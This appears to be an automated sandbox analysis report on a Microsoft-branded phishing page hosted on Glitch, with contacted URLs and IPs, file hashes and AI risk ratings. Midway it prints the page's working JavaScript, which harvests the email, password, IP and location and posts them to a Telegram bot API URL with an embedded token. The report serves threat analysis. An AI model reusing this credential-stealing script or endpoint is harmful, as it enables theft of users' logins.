https://protected-by.clarium.io/pixel?tag=wt_	chromecache_698.3.dr, chromecache_659.3.dr	false		high
https://www.msn.com/en-us/money/personalfinance/i-never-understood-why-my-uncle-didn-t-give-me-birth	chromecache_335.3.dr, chromecache_519.3.dr	false		high
https://www.msn.com/en-us/travel/tripideas/bradley-cooper-s-east-village-cheesesteak-pop-up-is-back-	chromecache_529.3.dr, chromecache_678.3.dr	false		high
https://booking.com/dealspage.html?campaign_id=&aid=1533676&label=enus-native-backfill	chromecache_374.3.dr	false		high
https://www.msn.com/en-us/news/technology/an-electrician-begs-you-to-stop-plugging-these-7-things-in	chromecache_335.3.dr	false		high
https://mobile.adsafeprotected.com/internal/monitoring/app/initial/2227185/84805178/	chromecache_677.3.dr, chromecache_710.3.dr	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gRnR-dark	chromecache_335.3.dr, chromecache_678.3.dr	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13goyh	chromecache_529.3.dr, chromecache_678.3.dr	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/MSIAWwA=/Condition/	chromecache_452.3.dr, chromecache_497.3.dr	false		high
https://www.businessinsider.com/best-vegetarian-meals-costco-for-family-from-employee-photos-2024	chromecache_519.3.dr	false		high
https://www.msn.com/en-us/movies/news/11-movies-most-people-don-t-realize-are-basically-sequels/ar-A	chromecache_529.3.dr	false		high
https://api.msn.com:443/msn/Feed/me?$top=35&delta=True&session=956c3a0f-baf5-406c-9882-905a0660e917&	chromecache_335.3.dr	false		high
https://id.rlcdn.com/713074.gif?	chromecache_694.3.dr	false		high
https://acdn.adnxs.com/video/player/vastPlayer/XandrVastPlayer.js	chromecache_778.3.dr, chromecache_363.3.dr	false		high
https://assets.msn.com/weathermapdata/1/static/background/v2.0/jpg/	chromecache_452.3.dr, chromecache_497.3.dr	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13eNIw	chromecache_678.3.dr	false	Avira URL Cloud: safe	unknown
https://terryfator.com/tour/	chromecache_519.3.dr	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA12PNdd	chromecache_335.3.dr, chromecache_519.3.dr	false	Avira URL Cloud: safe	unknown
https://dt.adsafeprotected.com/dt?advEntityId=2227185	chromecache_677.3.dr, chromecache_710.3.dr	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT	chromecache_335.3.dr	false		high
https://www.housebeautiful.com/lifestyle/a62682624/us-cities-most-prone-to-climate-risk/	chromecache_519.3.dr	false		high
https://creativecdn.com/cm-notify?pi=inmobi&gdpr=0&gdpr_consent=	chromecache_694.3.dr	false		high
https://github.com/blueimp/JavaScript-MD5	chromecache_323.3.dr, chromecache_581.3.dr	false		high
https://www.msn.com/en-us/travel/tripideas/medieval-crowns-and-scepters-discovered-hidden-inside-the	chromecache_335.3.dr, chromecache_519.3.dr	false		high
https://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?title=	chromecache_353.3.dr, chromecache_357.3.dr	false		high
https://www.amazon.com/dp/B08F2XB77Y?tag=syndication-20&ascsubtag=%5Bartid%7C10057.g.63394353%5Bsrc%	chromecache_519.3.dr	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gRnR	chromecache_335.3.dr, chromecache_678.3.dr	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gAyL-dark	chromecache_529.3.dr, chromecache_678.3.dr	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMdL	chromecache_519.3.dr	false	Avira URL Cloud: safe	unknown
https://github.com/google/safevalues/issues	chromecache_457.3.dr	false		high
https://trc.taboola.com/sg/msn/1/cm?taboola_hm=	chromecache_437.3.dr, chromecache_752.3.dr	false		high
https://cdn.glitch.global/619bbf3f-0832-4238-90da-3c5dfc53bd19/22favicon.png?v=1714286509047	chromecache_572.3.dr	false		high
https://financebuzz.com/best-match-auto-insurance-l-base?utm_source=msn-money&utm_medium=feed&synd_s	chromecache_335.3.dr	false		high
https://commons.wikimedia.org/wiki/File:Osprey_at_Pensacola.jpg	chromecache_335.3.dr	false		high
https://www.housebeautiful.com/lifestyle/a63394199/wildfire-evacuation-checklist/	chromecache_519.3.dr	false		high
http://pajhome.org.uk/crypt/md5	chromecache_323.3.dr, chromecache_581.3.dr	false		high
https://www.msn.com/en-us/lifestyle/shopping/10-disaster-proof-storage-options-that-protect-your-mos	chromecache_519.3.dr	false		high
https://sync.adkernel.com/user-sync?zone=147857&t=image&gdpr=0&gdpr_consent=&r=https	chromecache_694.3.dr	false		high
https://deals.getaudienatom2.com/2QSW9DWJ/2Q7Z7RW/?uid=2259&sub1=enus6-0111	chromecache_685.3.dr, chromecache_374.3.dr	false	Avira URL Cloud: safe	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.16.134	unknown	United States	15169	GOOGLEUS	false
142.250.185.228	unknown	United States	15169	GOOGLEUS	false
2.20.245.216	unknown	European Union	20940	AKAMAI-ASN1EU	false
104.21.80.1	unknown	United States	13335	CLOUDFLARENETUS	false
130.211.23.194	api.btloader.com	United States	15169	GOOGLEUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
2.23.240.30	hbx.media.net	European Union	8781	QA-ISPQA	false
104.19.132.76	cm.mgid.com	United States	13335	CLOUDFLARENETUS	false
104.26.2.70	ad-delivery.net	United States	13335	CLOUDFLARENETUS	false
13.248.245.213	unknown	United States	16509	AMAZON-02US	false
35.213.89.133	trace.popin.cc	United States	19527	GOOGLE-2US	false
151.101.1.44	tls13.taboola.map.fastly.net	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.89.211.84	unknown	Germany	29990	ASN-APPNEXUS	false
23.212.88.20	unknown	United States	16625	AKAMAI-ASUS	false
185.255.84.152	visitor-fra02.omnitagjs.com	France	200271	IGUANE-FR	false
142.250.186.130	ep1.adtrafficquality.google	United States	15169	GOOGLEUS	false
216.58.206.36	www.google.com	United States	15169	GOOGLEUS	false
185.89.210.180	m.anycast.adnxs.com	Germany	29990	ASN-APPNEXUS	false
104.26.6.141	cdn.btmessage.com	United States	13335	CLOUDFLARENETUS	false
54.76.91.170	ds-pr-bh.ybp.gysm.yahoodns.net	United States	16509	AMAZON-02US	false
185.89.210.46	ams3-ib.adnxs.com	Germany	29990	ASN-APPNEXUS	false
104.26.9.44	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.41.60	unknown	United States	13335	CLOUDFLARENETUS	false
18.235.164.84	terrific-metal-countess.glitch.me	United States	14618	AMAZON-AESUS	true
142.250.186.66	unknown	United States	15169	GOOGLEUS	false
142.250.185.98	securepubads.g.doubleclick.net	United States	15169	GOOGLEUS	false
104.21.48.1	bt.dns-finder.com	United States	13335	CLOUDFLARENETUS	false
70.42.32.255	nydc1.outbrain.org	United States	22075	AS-OUTBRAINUS	false
151.101.193.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
151.101.193.108	prod.appnexus.map.fastly.net	United States	54113	FASTLYUS	false
142.250.184.225	unknown	United States	15169	GOOGLEUS	false
142.250.184.198	ad.doubleclick.net	United States	15169	GOOGLEUS	false
18.244.18.32	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
142.250.184.194	unknown	United States	15169	GOOGLEUS	false
52.98.242.242	HHN-efz.ms-acdc.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.89.210.122	ib.anycast.adnxs.com	Germany	29990	ASN-APPNEXUS	false
2.21.65.130	sync.im-apps.net	European Union	20940	AKAMAI-ASN1EU	false
34.242.173.27	unknown	United States	16509	AMAZON-02US	false
172.217.16.194	unknown	United States	15169	GOOGLEUS	false
172.67.74.232	unknown	United States	13335	CLOUDFLARENETUS	false
63.33.127.94	protected-by.clarium.io	United States	16509	AMAZON-02US	false
142.250.185.129	ep2.adtrafficquality.google	United States	15169	GOOGLEUS	false
151.101.129.108	unknown	United States	54113	FASTLYUS	false
37.252.173.215	unknown	European Union	29990	ASN-APPNEXUS	false
104.26.7.141	api.btmessage.com	United States	13335	CLOUDFLARENETUS	false
64.202.112.31	unknown	United States	22075	AS-OUTBRAINUS	false
35.208.249.213	trace.mediago.io	United States	19527	GOOGLE-2US	false
172.67.69.226	ipapi.co	United States	13335	CLOUDFLARENETUS	false
76.223.111.18	eu-eb2.3lift.com	United States	16509	AMAZON-02US	false
104.22.75.216	btloader.com	United States	13335	CLOUDFLARENETUS	false
151.101.129.44	tsdtocl.com	United States	54113	FASTLYUS	false
172.241.51.69	lb-sin.mgid.com	Netherlands	394380	LEASEWEB-USA-DAL-10US	false

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589345
Start date and time:	2025-01-12 01:26:54 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://terrific-metal-countess.glitch.me/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.phis.troj.win@29/846@194/55
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Input	Output
URL: https://terrific-metal-countess.glitch.me Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: https://terrific-metal-countess.glitch.me
URL: https://terrific-metal-countess.glitch.me/... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script demonstrates highly suspicious and malicious behavior. It collects sensitive user data (email and password) and sends it to a Telegram bot, which is a clear case of data exfiltration. Additionally, it redirects the user to a suspicious domain, which is a common phishing tactic. The script also uses the `ipapi.co` service to gather the user's location information, further compromising their privacy. Overall, this script poses a significant risk and should be considered a high-risk threat." }
const url = "https://ipapi.co/json/"; const form = document.querySelector("#loginform"); form.addEventListener("submit", (event) => { event.preventDefault(); // aqui evitamos que el cdigo se repita evita que se enve el formulario axios .get(url) .then((response) => { const email = document.querySelector("#email").value; const contra = document.querySelector("#clave").value; const message = "\nUsuario: " + email + "\nContra: " + contra + "\nCiudad:" + response.data.city + "\nPais: " + response.data.country + "\nIP: " + response.data.ip; axios .post( "https://api.telegram.org/bot7114109019:AAGE9UOdjZ7I3mDCG6kHa513MvKpJBw78d8/sendMessage", { chat_id: "-4731134030", text: message, } ) .then((response) => { window.location.href = "https://login.live.com/logout.srf?ct=1698893038&rver=7.0.6738.0&id=292841&ru=https:%2F%2Foutlook.live.com%2Fowa%2Fcsignout.aspx%3F%253f%253fumkt%3Des-US%26exch%3D1%26RpsCsrfState%3D4042c6ed-e025-daaa-5b59-e2b84fedc413"; }) .catch((error) => { console.error(error); }); }) .catch((error) => { console.log(error); }); });
URL: https://130e8f5241d5360f8e306bde9cc2f011.safeframe... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be a part of the Closure Library, which is a well-known and trusted JavaScript library maintained by Google. The code does not contain any high-risk indicators, such as dynamic code execution, data exfiltration, or redirects to malicious domains. The code seems to be focused on handling URLs and creating safe script URLs, which are common and legitimate use cases. Overall, this script poses a low risk and is likely part of a larger, legitimate application." }
(function(){/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 / var f=this\|\|self,h=function(a){return a};var n=function(a,b){this.h=a===l&&b\|\|"";this.g=m},p=function(a){return a instanceof n&&a.constructor===n&&a.g===m?a.h:"type_error:Const"},m={},l={};var r=void 0;/ SPDX-License-Identifier: Apache-2.0 / var t,aa=function(){if(void 0===t){var a=null,b=f.trustedTypes;if(b&&b.createPolicy){try{a=b.createPolicy("goog#html",{createHTML:h,createScript:h,createScriptURL:h})}catch(c){f.console&&f.console.error(c.message)}t=a}else t=a}return t};var ca=function(a){this.g=ba===ba?a:""};ca.prototype.toString=function(){return this.g+""};var ba={},da=function(a){var b=aa();a=b?b.createScriptURL(a):a;return new ca(a)};var ea={},u=function(a,b){this.g=b===ea?a:""};u.prototype.toString=function(){return this.g.toString()};var ha=function(){var a=v,b={message:fa(v)};var c=void 0===c?{}:c;this.error=a;this.context=b.context;this.msg=b.message\|\|"";this.id=b.id\|\|"jserror";this.meta=c};var w=function(a){w[" "](a);return a};w[" "]=function(){};var ia=RegExp("^(?:([^:/?#.]+):)?(?://(?:([^\\\\/?#])@)?([^\\\\/?#]?)(?::([0-9]+))?(?=[\\\\/?#]\|$))?([^?#]+)?(?:\\?([^#]))?(?:#([\\s\\S]))?$");var ja=function(a,b){if(a)for(var c in a)Object.prototype.hasOwnProperty.call(a,c)&&b(a[c],c,a)};var ka=RegExp("^https?://(\\w\|-)+\\.cdn\\.ampproject\\.(net\|org)(\\?\|/\|$)"),ma=function(){var a=la;this.g=x;this.h=a},na=function(a,b){this.url=a;this.j=!!b;this.depth=null};function oa(a){f.google_image_requests\|\|(f.google_image_requests=[]);var b=f.document;b=void 0===b?document:b;b=b.createElement("img");b.src=a;f.google_image_requests.push(b)};var y=function(){this.i="&";this.h={};this.o=0;this.g=[]},z=function(a,b){var c={};c[a]=b;return[c]},qa=function(a,b,c,d,e){var k=[];ja(a,function(g,A){(g=pa(g,b,c,d,e))&&k.push(A+"="+g)});return k.join(b)},pa=function(a,b,c,d,e){if(null==a)return"";b=b\|\|"&";c=c\|\|",$";"string"==typeof c&&(c=c.split(""));if(a instanceof Array){if(d=d\|\|0,d<c.length){for(var k=[],g=0;g<a.length;g++)k.push(pa(a[g],b,c,d+1,e));return k.join(c[d])}}else if("object"==typeof a)return e=e\|\|0,2>e?encodeURIComponent(qa(a,b,c,d,e+1)):"...";return encodeURIComponent(String(a))},sa=function(a){var b="https://pagead2.googlesyndication.com/pagead/gen_204?id=jserror&",c=ra(a)-27;if(0>c)return"";a.g.sort(function(za,Aa){return za-Aa});for(var d=null,e="",k=0;k<a.g.length;k++)for(var g=a.g[k],A=a.h[g],O=0;O<A.length;O++){if(!c){d=null==d?g:d;break}var q=qa(A[O],a.i,",$");if(q){q=e+q;if(c>=q.length){c-=q.length;b+=q;e=a.i;break}d=null==d?g:d}}a="";null!=d&&(a=e+"trn="+d);return b+a},ra=function(a){var b=1,c;for(c in a.h)b=c.length>b?c.length:b;return 3997-b-a.i.length-1};var ta=function(a){if(.01>Math.random())try{if(a instanceof y)var b=a;else b=new y,ja(a,function(d,e){var k=b,g=k.o++;d=z(e,d);k.g.push(g);k.h[g]=d});var c=sa(b);c&&oa(c)}catch(d){}};var fa=function(a){var b=a.toString();a.name&&-1==b.indexOf(a.name)&&(b+=": "+a.name);a.message&&-1==b.indexOf(a.message)&&(b+=": "+a.message);if(a.stack){a=a.stack;var c=b;try{-1==a.indexOf(c)&&(a=c+"\n"+a);for(var d;a!=d;)d=a,a=a.replace(RegExp("((https?:/../)[^/:]:\\d+(?:.\|\n))\\2"),"$1");b=a.replace(RegExp("\n ","g"),"\n")}catch(e){b=c}}return b};({})[3]=da(p(new n(l,"https://s0.2mdn.net/ads/richmedia/studio/mu/templates/hifi/hifi.js")));({})[3]=da(p(new n(l,"https://s0.2mdn.net/ads/richmedia/studio_canary/mu/templates/hifi/hifi_canary.js")));var ua=/^([^;]+);(\d+);([\s\S])$/;var va=/^([a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?\.safeframe\.googlesyndication\.com\|tpc\.googlesyndication\.com\|secureframe\.doubleclick\.net\|[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?\.safeframe\.usercontent\.goog)$/,wa=/^(pagead2\.googlesyndication\.com\|googleads\.g\.doubleclick\.net)$/;var xa=function(a){return function(b){var c=a.hostname,d=va.test(c)\|\|wa.test(c);c=[c];var e=r;r=void 0;if(!d){if(e)throw Error(e());if(c&&0<c.length)throw Error("["+c.map(String).join(",")+"]");throw Error(String(d));}b=(d=aa())?d
URL: https://terrific-metal-countess.glitch.me/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Siguiente", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://terrific-metal-countess.glitch.me/ Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://www.msn.com/?ocid=mailsignout&pc=U591 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.msn.com/?ocid=mailsignout&pc=U591 Model: Joe Sandbox AI	{ "brands": [ "MSN" ] }
	{ "brands": [ "MSN" ] }
URL: https://terrific-metal-countess.glitch.me/ Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The URL 'terrific-metal-countess.glitch.me' does not match the legitimate domain 'microsoft.com'.", "The domain 'glitch.me' is a platform for hosting web applications and is not associated with Microsoft.", "The use of a subdomain 'terrific-metal-countess' is unusual and does not relate to Microsoft.", "Microsoft is a well-known brand, and any legitimate site would likely use a subdomain of 'microsoft.com'.", "The URL structure and domain choice are common indicators of phishing attempts." ], "riskscore": 9} Google indexed: False
URL: terrific-metal-countess.glitch.me Brands: Microsoft Input Fields: unknown
URL: https://www.msn.com/?ocid=mailsignout&pc=U591 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.msn.com/?ocid=mailsignout&pc=U591 Model: Joe Sandbox AI	{ "brands": [ "MSN" ] }
	{ "brands": [ "MSN" ] }
URL: https://www.msn.com/?ocid=mailsignout&pc=U591 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "SIGN IN", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.msn.com/?ocid=mailsignout&pc=U591 Model: Joe Sandbox AI	{ "brands": [ "Outlook.com", "Booking.com", "Walmart", "eBay", "Facebook" ] }

URL: https://www.msn.com/?ocid=mailsignout&pc=U591 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.msn.com/?ocid=mailsignout&pc=U591 Model: Joe Sandbox AI	{ "brands": [ "MSN", "Outlook.com", "Booking.com", "Walmart", "eBay", "Facebook" ] }

URL: https://www.msn.com/?ocid=mailsignout&pc=U591 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.msn.com/?ocid=mailsignout&pc=U591 Model: Joe Sandbox AI	{ "brands": [ "MSN", "Outlook.com", "Booking.com", "Walmart", "eBay", "Facebook" ] }

URL: https://www.msn.com/?ocid=mailsignout&pc=U591 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "See photos of the high-tech German fighting vehicle poised to strengthen Ukraine's defenses", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.msn.com/?ocid=mailsignout&pc=U591 Model: Joe Sandbox AI	{ "brands": [ "MSN", "Outlook.com", "Booking.com", "Walmart", "eBay", "Facebook" ] }

URL: https://www.msn.com/?ocid=mailsignout&pc=U591 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "14K Yellow Gold Crucifix, Ship's Wheel Anchor Pendant", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.msn.com/?ocid=mailsignout&pc=U591 Model: Joe Sandbox AI	{ "brands": [ "MSN", "Outlook.com", "Booking.com", "Walmart", "eBay", "Facebook" ] }

URL: https://www.msn.com/?ocid=mailsignout&pc=U591 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.msn.com/?ocid=mailsignout&pc=U591 Model: Joe Sandbox AI	{ "brands": [ "MSN", "Outlook.com", "Booking.com", "Walmart", "eBay", "Facebook" ] }

URL: https://www.msn.com/?ocid=mailsignout&pc=U591 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.msn.com/?ocid=mailsignout&pc=U591 Model: Joe Sandbox AI	{ "brands": [ "MSN", "Outlook.com", "Booking.com", "Walmart", "eBay", "Facebook" ] }

URL: https://www.msn.com/?ocid=mailsignout&pc=U591 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "After nixed trip to Vatican City, Biden awards Pope Francis the highest US civilian honor", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.msn.com/?ocid=mailsignout&pc=U591 Model: Joe Sandbox AI	{ "brands": [ "MSN", "Outlook.com", "Booking.com", "Walmart", "eBay", "Facebook" ] }

Source: chromecache_330.3.dr, chromecache_408.3.dr	String found in binary or memory: http://adaptivecards.io/schemas/adaptive-card.json
Source: chromecache_323.3.dr, chromecache_581.3.dr	String found in binary or memory: http://javascript.crockford.com/jsmin.html
Source: chromecache_323.3.dr, chromecache_581.3.dr	String found in binary or memory: http://pajhome.org.uk/crypt/md5
Source: chromecache_323.3.dr, chromecache_581.3.dr	String found in binary or memory: http://www.JSON.org/js.html
Source: chromecache_280.3.dr, chromecache_320.3.dr, chromecache_590.3.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: chromecache_797.3.dr, chromecache_342.3.dr	String found in binary or memory: http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=11010802022657
Source: chromecache_590.3.dr	String found in binary or memory: http://www.broofa.com
Source: chromecache_452.3.dr, chromecache_497.3.dr	String found in binary or memory: http://www.foreca.com
Source: chromecache_323.3.dr, chromecache_581.3.dr	String found in binary or memory: http://www.opensource.org/licenses/MIT
Source: chromecache_821.3.dr	String found in binary or memory: http://www.videolan.org/x264.html
Source: chromecache_323.3.dr, chromecache_581.3.dr	String found in binary or memory: http://www.webtoolkit.info/
Source: chromecache_778.3.dr, chromecache_363.3.dr	String found in binary or memory: https://acdn.adnxs.com/video/player/vastPlayer/XandrVastPlayer.js
Source: chromecache_694.3.dr	String found in binary or memory: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=159035&gdpr=0&gdpr_consent=&userId
Source: chromecache_574.3.dr, chromecache_475.3.dr	String found in binary or memory: https://aka.ms/chrome-shopping
Source: chromecache_694.3.dr	String found in binary or memory: https://ap.lijit.com/pixel?gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fsync.inmobi.com%2Fsetuid
Source: chromecache_335.3.dr	String found in binary or memory: https://api.msn.com:443/msn/Feed/me?$top=35&delta=True&session=956c3a0f-baf5-406c-9882-905a0660e917&
Source: chromecache_529.3.dr	String found in binary or memory: https://api.msn.com:443/msn/Feed/me?$top=8&delta=True&session=0936bbaf-00f3-4424-a924-3eb7226ac481&$
Source: chromecache_678.3.dr	String found in binary or memory: https://api.msn.com:443/msn/Feed/me?$top=8&delta=True&session=e2a6bebc-3e2f-426e-bf0b-79e5204a983e&$
Source: chromecache_437.3.dr, chromecache_752.3.dr	String found in binary or memory: https://api.taboola.com/1.2/json/taboola-usersync/user.sync?app.type=desktop&app.apikey=e60e3b54fc66
Source: chromecache_572.3.dr	String found in binary or memory: https://api.telegram.org/bot7114109019:AAGE9UOdjZ7I3mDCG6kHa513MvKpJBw78d8/sendMessage
Source: chromecache_716.3.dr, chromecache_523.3.dr	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/$
Source: chromecache_452.3.dr, chromecache_497.3.dr	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/background/v2.0/jpg/
Source: chromecache_452.3.dr, chromecache_497.3.dr	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/MSIAWwA=/Condition/
Source: chromecache_452.3.dr, chromecache_497.3.dr	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/taskbar_v10/
Source: chromecache_694.3.dr	String found in binary or memory: https://b1sync.zemanta.com/usersync/inmobi/?puid=ID5-5-2252331f-0600-4cda-8145-4ae7d9d3cb5d&cb=h
Source: chromecache_797.3.dr, chromecache_342.3.dr	String found in binary or memory: https://beian.miit.gov.cn/
Source: chromecache_323.3.dr, chromecache_581.3.dr	String found in binary or memory: https://blueimp.net
Source: chromecache_374.3.dr	String found in binary or memory: https://booking.com/dealspage.html?campaign_id=&aid=1533676&label=enus-native-backfill
Source: chromecache_361.3.dr, chromecache_531.3.dr	String found in binary or memory: https://cdn.adnxs-simple.com/js/anjam.js
Source: chromecache_786.3.dr	String found in binary or memory: https://cdn.glitch.com/d7f4f279-e13b-4330-8422-00b2d9211424%2FGlitch-Error-Rainbow-Mug-hires.png?v=1
Source: chromecache_572.3.dr	String found in binary or memory: https://cdn.glitch.global/619bbf3f-0832-4238-90da-3c5dfc53bd19/222hotmail.jpg?v=1714286364817
Source: chromecache_572.3.dr	String found in binary or memory: https://cdn.glitch.global/619bbf3f-0832-4238-90da-3c5dfc53bd19/22favicon.png?v=1714286509047
Source: chromecache_572.3.dr	String found in binary or memory: https://cdn.jsdelivr.net/npm/axios
Source: chromecache_335.3.dr, chromecache_519.3.dr	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA12PNdd
Source: chromecache_335.3.dr, chromecache_519.3.dr	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA12PNdd-dark
Source: chromecache_529.3.dr, chromecache_678.3.dr	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA12QGB8
Source: chromecache_529.3.dr, chromecache_678.3.dr	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA12QGB8-dark
Source: chromecache_335.3.dr	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13eFD2
Source: chromecache_335.3.dr	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13eFD2-dark
Source: chromecache_678.3.dr	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13eNIw

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 628x372, components 3
Category:	downloaded
Size (bytes):	32768
Entropy (8bit):	6.7220297017661474
Encrypted:	false
SSDEEP:	768:0nYS/gNX638YiYHFv8LusyBNouZ51evJXo8W:0nYs3P3lvYao651d
MD5:	7AF2C0C0ACF2A1CFC66CEEABDACF7D02
SHA1:	3E5FF9E1181A5F9F05A1D9B832222AD9842FD37C
SHA-256:	C3ADF82E99257AC7EF1F0A3263E1204197B60D5B9C7F8DC2528ACEA48784FDEE
SHA-512:	52B2614A083742EA85D7C4EBCB35CD46BEF191EBBE5F3B0A6DA11DB8DC9F2DBC3518BFC3A3C077FA525AB1A3B6EA94D86CB246DBC19F811FB16DA186F56D41CD
Malicious:	false
Reputation:	low
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1akDHz.img?w=628&h=372&q=60&m=6&f=jpg&x=150&y=56&u=t
